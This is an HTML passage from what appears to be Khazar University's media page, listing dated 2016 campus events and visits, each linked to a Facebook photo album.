ESFIDIP layihəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1337494686260933\" target=\"_blank\">FOTO</a>)<br></p><p>10.10.2016 İndoneziyanın səfiri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1336621126348289\" target=\"_blank\">FOTO</a>)<br></p><p>07.10.2016 kariyera merkezi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1333995913277477\" target=\"_blank\">FOTO</a>)<br></p><p>07.10.2016 Fərqli Dünyalar\' sərgisi&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1333994433277625\" target=\"_blank\">FOTO</a>)<br></p><p>03.10.2016 Meeting with Euro-Atlantic Center&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1331266520217083\" target=\"_blank\">FOTO</a>)<br></p><p>04.10.2016 DAAD Baku (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1331242646886137\" target=\"_blank\">FOTO</a>)<br></p><p>30.09.2016 Buraxilis Potensial Direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1330224996987902\" target=\"_blank\">FOTO</a>)<br></p><p>03.10.2016 Tehsil fakultəsi - praktikaya geden telebelerle görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1330091317001270\" target=\"_blank\">FOTO</a>)<br></p><p>29.09.2016 Ad günləri (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1326311044045964\" target=\"_blank\">FOTO</a>)</p><p>27.09.2016 Potensial direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1324637864213282\" target=\"_blank\">FOTO</a>)<br></p><p>27.09.2016 Fərhad Aşumovun konserti&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1324601137550288\" target=\"_blank\">FOTO</a>)<br></p><p>27.09.2016 Iraq səfiri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1324598114217257\" target=\"_blank\">FOTO</a>)<br></p><p>22.09.2016 Jan Monnet lahiyesi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1319594908050911\" target=\"_blank\">FOTO</a>)<br></p><p>21.09.2016 Kompüter Elmləri magistr müdafiəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1318842931459442\" target=\"_blank\">FOTO</a>)<br></p><p>13.09.2016 Təbriz universitetindən hədiyyələr&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1316902484986820\" target=\"_blank\">FOTO</a>)<br></p><p>19.09.2016 Nərminə Fətəliyevanın müdafiəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1316869031656832\" target=\"_blank\">FOTO</a>)<br></p><p>15.09.2016 Birinci kursların kitabxanada ekskursiyası&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1312933852050350\" target=\"_blank\">FOTO</a>)<br></p><p>15.09.2016 Yeni Tədris ilinin açılışı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1312940545383014\" target=\"_blank\">FOTO</a>)<br></p><p>08.09.2016&nbsp;Hərbi döyüşdə qələbə və məğlubiyyət amilləri&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1306312849379117\" target=\"_blank\">FOTO&nbsp;</a>)<br></p><p>08.09.2016 Tədris ilinə hazırlıq&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1306256346051434\" target=\"_blank\">FOTO</a>)<br></p><p>06.09.2016 Tədris ilinı hazırlıq&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1304461139564288\" target=\"_blank\">FOTO</a>)<br></p><p>05.09.2016&nbsp;Yeni Tədris ilinə hazırlıq&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1303323303011405\" target=\"_blank\">FOTO</a>)<br></p><p>02.09.2016&nbsp;Bizim Yataqxana&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1300430389967363\" target=\"_blank\">FOTO</a>)<br></p><p>30.06.2016 Maqistratura müdafiəsi&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1250275604982842\" target=\"_blank\">FOTO</a>)<br></p><p>29.06.2016 doktorantura təhsilinin müzakiresi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1249668415043561\" target=\"_blank\">FOTO</a>)<br></p><p>29.06.2016 Təhsil lahiyəsi (İntetute of Education)&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1249667431710326\" target=\"_blank\">FOTO</a>)<br></p><p>28.06.2016 Yunus Emre Enistütüsündən qonaqlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1249552648388471\" target=\"_blank\">FOTO</a>)<br></p><p>23.06.2016 Məhəbbət Vəliyeva ilə seminar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1245433502133719\" target=\"_blank\">FOTO</a>)<br></p><p>22.06.2016 Hamlet İsaxanlının Erasmus proqramı qaliblərilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1244797108864025\" target=\"_blank\">FOTO</a>)<br></p><p>21.06.2016 3cu il tələbələrinin tədqiqat işi müdafiəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1243870765623326\" target=\"_blank\">FOTO</a>)<br></p><p>18.06.2016 Əlilliyi olan şəxslərlə ünsiyyət&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1243298705680532\" target=\"_blank\">FOTO</a>)<br></p><p>17.06.2016 Departamentlərin elmi fealiyyeti üzrə reytinq cədvəli&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1243262829017453\" target=\"_blank\">FOTO</a>)<br></p><p>16.06.2016 25 illik&nbsp; yubiley (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1241043935906009\" target=\"_blank\">FOTO</a>)<br></p><p>17.06.2016 Departamentlərin elmi fealiyyeti üzrə reytinq cədvəli&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1241118859231850\" target=\"_blank\">FOTO</a>)<br></p><p>13.06.2016 Final imtahanlari&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1241081522568917\" target=\"_blank\">FOTO</a>)<br></p><p>10.06.2016 Potensial direktorlar Hamlet İsaxanlı ilə görüşü (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1238333506177052\" target=\"_blank\">FOTO</a>)<br></p><p>09.06.2016&nbsp;IMAGINE komandasının H.İsaxanlı qarşısında təqdimatı AZTV reportajı(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1236351369708599\" target=\"_blank\">FOTO</a>)<br></p><p>09.06.2016 Solo konsert&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1236317816378621\" target=\"_blank\">FOTO</a>)<br></p><p>09.06.2016 Final imtahanlari&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1236275703049499\" target=\"_blank\">FOTO</a>)<br></p><p>09.06.2014 IMAGINE komandasının H.Isaxanlı ilə görüşündən AZTV reportajı (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1235697306440672\" target=\"_blank\">FOTO</a>)<br></p><p>08.06.2016 Sergi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1235052486505154\" target=\"_blank\">FOTO</a>)<br></p><p>08.06.2016 Final imtahanlari&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1235051889838547\" target=\"_blank\">FOTO</a>)<br></p><p>07.06.2016 Final imtahanlari&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1234135306596872\" target=\"_blank\">FOTO</a>)<br></p><p>07.06.2016 Thomson Reuters - Təlim&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1234289329914803\" target=\"_blank\">FOTO</a>)<br></p><p>06.06.2016 Final Imtahanları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1233541203322949\" target=\"_blank\">FOTO</a>)<br></p><p>04.06.2016 Khazar University Alumni Association&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1233455216664881\" target=\"_blank\">FOTO</a>)<br></p><p>03.06.2016 Xəzərdə final Imtahanları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1231598086850594\" target=\"_blank\">FOTO</a>)<br></p><p>02.06.2016 Final imtahanları &nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1230952446915158\" target=\"_blank\">FOTO</a>)<br></p><p>01.06.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1230882163588853\" target=\"_blank\">FOTO</a>)<br></p><p>27.05.2016 Simulation game&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1229578317052571\" target=\"_blank\">FOTO</a>)<br></p><p>28.05.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1229521597058243\" target=\"_blank\">FOTO</a>)<br></p><p>27.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1227178080625928\" target=\"_blank\">FOTO</a>)<br></p><p>27.05.2016 \"SourceGrab\" saytının təqdimatı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1227104660633270\" target=\"_blank\">FOTO</a>)<br></p><p>27.05.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1227028747307528\" target=\"_blank\">FOTO</a>)<br></p><p>25 05 2016 arxeologiya jurnalinin redkolleksiyasi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1227018897308513\" target=\"_blank\">FOTO</a>)<br></p><p>25.05.2016 Dağlıq Qarabağ münaqişəsinin həllində simulyasiya&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1225913737419029\" target=\"_blank\">FOTO</a>)<br></p><p>25.05.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1225912414085828\" target=\"_blank\">FOTO</a>)<br></p><p>24.05.2016&nbsp;Avrasiya bilik mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1225262477484155\" target=\"_blank\">FOTO</a>)<br></p><p>23.05.2016 Avrasiya bilik mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1224545217555881\" target=\"_blank\">FOTO</a>)<br></p><p>21.05.2016 Avrasiya Bilik Mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1224542344222835\" target=\"_blank\">FOTO</a>)<br></p><p>21.05.2016 Avrasiya Bilik Mərkəzi İşini başladı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1224540067556396\" target=\"_blank\">FOTO</a>)<br></p><p>21.05.2016 Potensial Direktor IV&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1223303734346696\" target=\"_blank\">FOTO</a>)<br></p><p>20.05.2016 Malaziyanın Azərbaycandakı səfiri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1222635177746885\" target=\"_blank\">FOTO</a>)<br></p><p>19.05.2016 Mustafa Aydınla görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1222162461127490\" target=\"_blank\">FOTO</a>)<br></p><p>19.05.2016&nbsp;Nigar ad günü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1222092134467856\" target=\"_blank\">FOTO</a>)<br></p><p>17.05.2016 Kəmaləddin Qədimovla görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1221989734478096\" target=\"_blank\">FOTO</a>)<br></p><p>18.05.2016 Potensial direktorlar&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1221535201190216\" target=\"_blank\">FOTO</a>)<br></p><p>16.05.2016 debat Bəşir Səfəroğlu&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1220822291261507\" target=\"_blank\">FOTO</a>)<br></p><p>13.05.2016 Science Direct numayendesi xezerde&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1218371941506542\" target=\"_blank\">FOTO</a>)<br></p><p>13.05.2016 ESFIDIP&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1218367334840336\" target=\"_blank\">FOTO</a>)<br></p><p>13.05.2016 Potensial direktorlar IV&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1218364258173977\" target=\"_blank\">FOTO</a>)<br></p><p>12.05.2016 Ali Ağzani Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217712348239168\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 Potensial Direktorlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217144391629297\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 Səhənd Universitetinin nümayəndələri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217073798303023\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 Pakistan səfiri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217072721636464\" target=\"_blank\">FOTO</a>)<br></p><p>11.06.2016 Mektebliler&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217054104971659\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 Hasan Niknafs&nbsp;Iranli qonaqlar ile gorüş (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217053868305016\" target=\"_blank\">FOTO</a>)<br></p><p>11.05.2016 H. Isaxanli Iranli qonaglar gorüş (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217053361638400\" target=\"_blank\">FOTO</a>)<br></p><p>07.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217052228305180\" target=\"_blank\">FOTO</a>)<br></p><p>06.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1217050804971989\" target=\"_blank\">FOTO</a>)<br></p><p>10.05.2016 Cultural leadership workshop&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1216489751694761\" target=\"_blank\">FOTO</a>)<br></p><p>07.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1213865521957184\" target=\"_blank\">FOTO</a>)<br></p><p>06.05.2016 Potensial direktorlar 4&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1213839748626428\" target=\"_blank\">FOTO</a>)<br></p><p>06.05.2016 Qaranlıqdan doğan həqiqət&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1213768178633585\" target=\"_blank\">FOTO</a>)</p><p>06.05.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1212700532073683\" target=\"_blank\">FOTO</a>)</p><p>06.05.2016 Yazar Müşfiq Xanla görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1212679402075796\" target=\"_blank\">FOTO</a>)&nbsp;<br></p><p>06.05.2016 Əmək yarmarkası&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1212676985409371\" target=\"_blank\">FOTO</a>)&nbsp;<br></p><p>05.05.2016 Tomson Reydersin&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1212052015471868\" target=\"_blank\">FOTO</a>)</p><p>04.05.2016 Potensial Direktorlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1211454405531629\" target=\"_blank\">FOTO</a>)&nbsp;</p><p>04.05.2016 Spagetti Bridge Competition&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1211450018865401\" target=\"_blank\">FOTO</a>)</p><p>03.05.2016 245 nömrəli məktəbin şagirdləri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1210708502272886\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Help Desk&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1207873202556416\" target=\"_blank\">FOTO</a>)</p><p>29.04.2016 P2P - Ekstremizmə qarşı Mübarizə Proqramı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1207840459226357\" target=\"_blank\">FOTO</a>)</p><p>28.04.2016 Potensial Direktorlar Buraxiliş&nbsp;III&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1207813465895723\" target=\"_blank\">FOTO</a>)</p><p>29.04.2016&nbsp;Turkiyenin maqistranti Sumeyra Turkle tarix departamenti&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1207810742562662\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Potensial direktorlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206606482683088\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Potensial direktorlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206586822685054\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Günəş elektromobili layihəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206498996027170\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Həsən müəllimin iranlı qonaqlarla görüşü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206483899362013\" target=\"_blank\">FOTO</a>)</p><p>26.04.2016 P2P - Ekstermizmə qarşı mübarizə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206474259362977\" target=\"_blank\">FOTO</a>)</p><p>26.04.2016 T. Qurbanın Bagirovun adına kitabın təqdimatı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1205986949411708\" target=\"_blank\">FOTO</a>)</p><p>23.04.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1205231179487285\" target=\"_blank\">FOTO</a>)</p><p>24.04.2016 Beynəlxalq psixologiya konfransı III&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1204591599551243\" target=\"_blank\">FOTO</a>)<br></p><p>23.04.2016 Beynəlxalq Psixologiya Konfransi III&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1204588359551567\" target=\"_blank\">FOTO</a>)<br></p><p>22.04.2016 İran-İrak-Polşa tələbələri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1203884536288616\" target=\"_blank\">FOTO</a>)<br></p><p>22.04.2016 Shakespeare in the world&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1203321523011584\" target=\"_blank\">FOTO</a>)<br></p><p>21.04.2016 Tempus (ESFIDIP) çərçivəsində təlim-seminar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1202615429748860\" target=\"_blank\">FOTO</a>)<br></p><p>20.04.2016 Potensial Direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1202129889797414\" target=\"_blank\">FOTO</a>)</p><p>18.04.2016 Elm və sənət 66&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1201392056537864\" target=\"_blank\">FOTO</a>)<br></p><p>18.04.2016 Beynəlxalq Prespektivlər üzrə Çoxdilli Təhsil&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1201371573206579\" target=\"_blank\">FOTO</a>)<br></p><p>15.04.2016 potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1200753473268389\" target=\"_blank\">FOTO</a>)</p><p>16.04.2016 Xəzərlilər Hövsanda&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1200750796601990\" target=\"_blank\">FOTO</a>)<br></p><p>15.04.2016 potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1199068390103564\" target=\"_blank\">FOTO</a>)<br></p><p>15.04.2016 Mənim biznes planım&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1199067590103644\" target=\"_blank\">FOTO</a>)<br></p><p>14.04.2016 Azərcell təqdimatı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1198425676834502\" target=\"_blank\">FOTO</a>)<br></p><p>14.04.2016 PACT&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1198380060172397\" target=\"_blank\">FOTO</a>)<br></p><p>13.04.2016 Potensial direktorlar - 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1197812943562442\" target=\"_blank\">FOTO</a>)<br></p><p>18.04.2016 Xəzər Universiteti 1-ci Debat formu&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1197686833575053\" target=\"_blank\">FOTO</a>)<br></p><p>11.04.2016 Prorektor&nbsp;Məhəmməd Nuriyevin&nbsp;ad günü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1197072003636536\" target=\"_blank\">FOTO</a>)&nbsp;<br></p><p>09.04.2016 Tempus&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1195170150493388\" target=\"_blank\">FOTO</a>)<br></p><p>09.04.2016 Tempus&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1196375093706227\" target=\"_blank\">FOTO</a>)<br></p><p>08.04.2016 Beynəlxalq Münasibətlər Departamentinin tələbələrinin mükafatlandırılması&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1195036750506728\" target=\"_blank\">FOTO</a>)<br></p><p>08.04.2016 Hassan Niknafsin İngiltərə səfiri ilə görüşü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1194385410571862\" target=\"_blank\">FOTO</a>)<br></p><p>08.04.2016 İnamla danış! Uğurlu çıxışın üç sirri&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1194358963907840\" target=\"_blank\">FOTO</a>)<br></p><p>08.04.2016 Ingiltərənin səfiri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1194340980576305\" target=\"_blank\">FOTO</a>)<br></p><p>07.04.2016 Effektli ünsiyyət qurmaq bacarıqları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193790073964729\" target=\"_blank\">FOTO</a>)<br></p><p>05.04.2016 Dünya məktəbində Xəzər universitetinin təqdimati&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193734220636981\" target=\"_blank\">FOTO</a>)<br></p><p>01.04.2016 Şahin və Eldar müəllimin Yubileyi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193081934035543\" target=\"_blank\">FOTO</a>)<br></p><p>06.04.2016 Nizami.&nbsp;Erasmus&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193043440706059\" target=\"_blank\">FOTO</a>)<br></p><p>06.04.2016 Hamlet Isaxanlının IGEC direktoru ilə&nbsp;görüşü (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193016077375462\" target=\"_blank\">FOTO</a>)<br></p><p>05.04.2016 Nizami. Erasmus&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1192307560779647\" target=\"_blank\">FOTO</a>)<br></p><p>05.04.2016 Azərbaycan multikulturalizminin ədəbi-bədii qaynaqları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1192306530779750\" target=\"_blank\">FOTO</a>)<br></p><p>01.04.2016 Roald Saqdeyevin Hamlet İsaxanlı ile görüşü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1189529744390762\" target=\"_blank\">FOTO</a>)<br></p><p>30.03.2016 Ernst and Young şirkətinin təlimi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1187592331251170\" target=\"_blank\">FOTO</a>)<br></p><p>24-26.03.2016 Media Lənkəranda (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1185472418129828\" target=\"_blank\">FOTO</a>)18.03.2016 Xəzərdə Novruz şənliyi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1176022125741524\" target=\"_blank\">FOTO</a>)<br></p><p>18.03.2016 Polşa səfiri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1175874212422982\" target=\"_blank\">FOTO</a>)<br></p><p>17.03.2016 Hamlet müəllimlə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1175208205822916\" target=\"_blank\">FOTO</a>)<br></p><p>17.03.2016 Effektli ünsiyyət qurmaq bacarıqları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1175170229160047\" target=\"_blank\">FOTO</a>)<br></p><p>16.03.2016 ESFIDIP&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1174407212569682\" target=\"_blank\">FOTO</a>)<br></p><p>15.03.2016 Potensial direktorlar&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1173733292637074.1073742253.799143400096067&amp;type=3\">FOTO</a>)</p><p>15.03.2016 EMBER layihəsi (<a href=\"https://www.facebook.com/media/set/?set=a.1170942876249449.1073742251.799143400096067&amp;type=3\">FOTO</a>)</p><p>11.03.2016 Fələstin səfiri (<a href=\"https://www.facebook.com/media/set/?set=a.1170882779588792.1073742249.799143400096067&amp;type=3\">FOTO</a>)</p><p>11.03.2016 Potensial direktorlar dünya məktəbində (<a href=\"https://www.facebook.com/media/set/?set=a.1172821559394914.1073742252.799143400096067&amp;type=3\">FOTO</a>)&nbsp;<br></p><p>11.03.2016 Kaspi Təhsil Mərkəzinin təqdimatı (<a href=\"https://www.facebook.com/media/set/?set=a.1170877306256006.1073742247.799143400096067&amp;type=3\">FOTO</a>)</p><p>10.03.2016 Tələbə məclisi Prezident seçkiləri&nbsp; (<a href=\"https://www.facebook.com/media/set/?set=a.1170900449587025.1073742250.799143400096067&amp;type=3\">FOTO</a>)</p><p>10.03.2016 Potansial direktorlar&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1170839439593126.1073742246.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.03.2016 Psixologiya mərkəzi (<a href=\"https://www.facebook.com/media/set/?set=a.1169716423038761.1073742245.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.03.2016 Qafqaz və ADA Karyera mərkəzləri Xəzərdə (<a href=\"https://www.facebook.com/media/set/?set=a.1169708033039600.1073742244.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.03.2016 Mediada 8 mart&nbsp;<a 